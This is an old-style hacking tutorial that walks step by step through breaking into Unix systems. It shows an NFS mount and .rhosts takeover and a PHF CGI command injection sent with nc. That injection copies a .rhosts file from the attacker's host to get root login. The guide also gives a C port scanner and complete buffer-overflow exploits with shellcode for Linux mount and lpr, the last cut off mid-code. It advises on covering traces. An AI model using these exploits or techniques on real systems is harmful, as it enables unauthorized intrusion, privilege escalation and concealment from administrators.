User's guide __________________________ Well, howdi folks... I guess you are all wondering who's this guy (me) that's trying to show you a bit of everything... ? Well, I ain't telling you anything of that... Copyright, and other stuff like this (below). Copyright and stuff... ______________________ If you feel offended by this subject (hacking) or you think that you could do better, don't read the below information... This file is for educational purposes ONLY...;) I ain't responsible for any damages you made after reading this...(I'm very serious...) So this can be copied, but not modified (send me the changes, and if they are good, I'll include them ). Don't read it, 'cuz it might be illegal. I warned you... If you would like to continue, press <PgDown>. Intro: Hacking step by step. _________________________________________________________________________________ Well, this ain't exactely for begginers, but it'll have to do. What all hackers has to know is that there are 4 steps in hacking... Step 1: Getting access to site. Step 2: Hacking r00t. Step 3: Covering your traces. Step 4: Keeping that account. Ok. In the next pages we'll see exactely what I ment. Step 1: Getting access. _______ Well folks, there are several methods to get access to a site. I'll try to explain the most used ones. The first thing I do is see if the system has an export list: mysite:~>/usr/sbin/showmount -e victim.site.com RPC: Program not registered. If it gives a message like this one, then it's time to search another way in. What I was trying to do was to exploit an old security problem by most SUN OS's that could allow an remote attacker to add a .rhosts to a users home directory... (That was possible if the site had mounted their home directory. Let's see what happens... mysite:~>/usr/sbin/showmount -e victim1.site.com /usr victim2.site.com /home (everyone) /cdrom (everyone) mysite:~>mkdir /tmp/mount mysite:~>/bin/mount -nt nfs victim1.site.com:/home /tmp/mount/ mysite:~>ls -sal /tmp/mount total 9 1 drwxrwxr-x 8 root root 1024 Jul 4 20:34 ./ 1 drwxr-xr-x 19 root root 1024 Oct 8 13:42 ../ 1 drwxr-xr-x 3 at1 users 1024 Jun 22 19:18 at1/ 1 dr-xr-xr-x 8 ftp wheel 1024 Jul 12 14:20 ftp/ 1 drwxrx-r-x 3 john 100 1024 Jul 6 13:42 john/ 1 drwxrx-r-x 3 139 100 1024 Sep 15 12:24 paul/ 1 -rw------- 1 root root 242 Mar 9 1997 sudoers 1 drwx------ 3 test 100 1024 Oct 8 21:05 test/ 1 drwx------ 15 102 100 1024 Oct 20 18:57 rapper/ Well, we wanna hack into rapper's home. mysite:~>id uid=0 euid=0 mysite:~>whoami root mysite:~>echo "rapper::102:2::/tmp/mount:/bin/csh" >> /etc/passwd We use /bin/csh 'cuz bash leaves a (Damn!) .bash_history and you might forget it on the remote server... mysite:~>su - rapper Welcome to rapper's user. mysite:~>ls -lsa /tmp/mount/ total 9 1 drwxrwxr-x 8 root root 1024 Jul 4 20:34 ./ 1 drwxr-xr-x 19 root root 1024 Oct 8 13:42 ../ 1 drwxr-xr-x 3 at1 users 1024 Jun 22 19:18 at1/ 1 dr-xr-xr-x 8 ftp wheel 1024 Jul 12 14:20 ftp/ 1 drwxrx-r-x 3 john 100 1024 Jul 6 13:42 john/ 1 drwxrx-r-x 3 139 100 1024 Sep 15 12:24 paul/ 1 -rw------- 1 root root 242 Mar 9 1997 sudoers 1 drwx------ 3 test 100 1024 Oct 8 21:05 test/ 1 drwx------ 15 rapper daemon 1024 Oct 20 18:57 rapper/ So we own this guy's home directory... mysite:~>echo "+ +" > rapper/.rhosts mysite:~>cd / mysite:~>rlogin victim1.site.com Welcome to Victim.Site.Com. SunOs ver....(crap). victim1:~$ This is the first method... Another method could be to see if the site has an open 80 port. That would mean that the site has a web page. (And that's very bad, 'cuz it usually it's vulnerable). Below I include the source of a scanner that helped me when NMAP wasn't written. (Go get it at http://www.dhp.com/~fyodor. Good job, Fyodor). NMAP is a scanner that does even stealth scanning, so lots of systems won't record it. /* -*-C-*- tcpprobe.c */ /* tcpprobe - report on which tcp ports accept connections */ /* IO ERROR, error@axs.net, Sep 15, 1995 */ #include <stdio.h> #include <sys/socket.h> #include <netinet/in.h> #include <errno.h> #include <netdb.h> #include <signal.h> int main(int argc, char **argv) { int probeport = 0; struct hostent *host; int err, i, net; struct sockaddr_in sa; if (argc != 2) { printf("Usage: %s hostname\n", argv[0]); exit(1); } for (i = 1; i < 1024; i++) { strncpy((char *)&sa, "", sizeof sa); sa.sin_family = AF_INET; if (isdigit(*argv[1])) sa.sin_addr.s_addr = inet_addr(argv[1]); else if ((host = gethostbyname(argv[1])) != 0) strncpy((char *)&sa.sin_addr, (char *)host->h_addr, sizeof sa.sin_addr); else { herror(argv[1]); exit(2); } sa.sin_port = htons(i); net = socket(AF_INET, SOCK_STREAM, 0); if (net < 0) { perror("\nsocket"); exit(2); } err = connect(net, (struct sockaddr *) &sa, sizeof sa); if (err < 0) { printf("%s %-5d %s\r", argv[1], i, strerror(errno)); fflush(stdout); } else { printf("%s %-5d accepted. \n", argv[1], i); if (shutdown(net, 2) < 0) { perror("\nshutdown"); exit(2); } } close(net); } printf(" \r"); fflush(stdout); return (0); } Well, now be very carefull with the below exploits, because they usually get logged. Besides, if you really wanna get a source file from /cgi-bin/ use this sintax : lynx http://www.victim1.com//cgi-bin/finger If you don't wanna do that, then do a : mysite:~>echo "+ +" > /tmp/rhosts mysite:~>echo "GET /cgi-bin/phf?Qalias=x%0arcp+phantom@mysite.com:/tmp/rhosts+ /root/.rhosts" | nc -v - 20 victim1.site.com 80 then mysite:~>rlogin -l root victim1.site.com Welcome to Victim1.Site.Com. victim1:~# Or, maybe, just try to find out usernames and passwords... The usual users are "test", "guest", and maybe the owner of the site... I usually don't do such things, but you can... Or if the site is really old, use that (quote site exec) old bug for wu.ftpd. There are a lot of other exploits, like the remote exploits (innd, imap2, pop3, etc...) that you can find at rootshell.connectnet.com or at dhp.com/~fyodor. Enough about this topic. (besides, if you can finger the site, you can figgure out usernames and maybe by guessing passwords (sigh!) you could get access to the site). Step 2: Hacking r00t. ______ First you have to find the system it's running... a). LINUX ALL versions: A big bug for all linux versions is mount/umount and (maybe) lpr. /* Mount Exploit for Linux, Jul 30 1996 :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ::::::::""`````""::::::""`````""::"```":::'"```'.g$$S$' `````````""::::::::: :::::'.g#S$$"$$S#n. .g#S$$"$$S#n. $$$S#s s#S$$$ $$$$S". $$$$$$"$$S#n.`:::::: ::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ .g#S$$$ $$$$$$ $$$$$$ :::::: ::::: $$$$$$ gggggg $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ :::::: ::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ :::::: ::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ :::::: ::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ :::::: ::::::`S$$$$s$$$$S' `S$$$$s$$$$S' `S$$$$s$$$$S' $$$$$$$ $$$$$$ $$$$$$ :::::: :::::::...........:::...........:::...........::.......:......:.......:::::: :::::::::::::::::::::::::::::::::::::::::::::::;:::::::::::::::::::::::::::: Discovered and Coded by Bloodmask & Vio Covin Security 1996 */ #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <sys/stat.h> #define PATH_MOUNT "/bin/mount" #define BUFFER_SIZE 1024 #define DEFAULT_OFFSET 50 u_long get_esp() { __asm__("movl %esp, %eax"); } main(int argc, char **argv) { u_char execshell[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f" "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd" "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh"; char *buff = NULL; unsigned long *addr_ptr = NULL; char *ptr = NULL; int i; int ofs = DEFAULT_OFFSET; buff = malloc(4096); if(!buff) { printf("can't allocate memory\n"); exit(0); } ptr = buff; /* fill start of buffer with nops */ memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell)); ptr += BUFFER_SIZE-strlen(execshell); /* stick asm code into the buffer */ for(i=0;i < strlen(execshell);i++) *(ptr++) = execshell[i]; addr_ptr = (long *)ptr; for(i=0;i < (8/4);i++) *(addr_ptr++) = get_esp() + ofs; ptr = (char *)addr_ptr; *ptr = 0; (void)alarm((u_int)0); printf("Discovered and Coded by Bloodmask and Vio, Covin 1996\n"); execl(PATH_MOUNT, "mount", buff, NULL); } /*LPR exploit:I don't know the author...*/ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #define DEFAULT_OFFSET 50 #define BUFFER_SIZE 1023 long get_esp(void) { __asm__("movl %esp,%eax\n"); } void main() { char *buff = NULL; unsigned long *addr_ptr = NULL; char *ptr = NULL; u_char execshell[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07" "\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12" "\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8...
Iskraa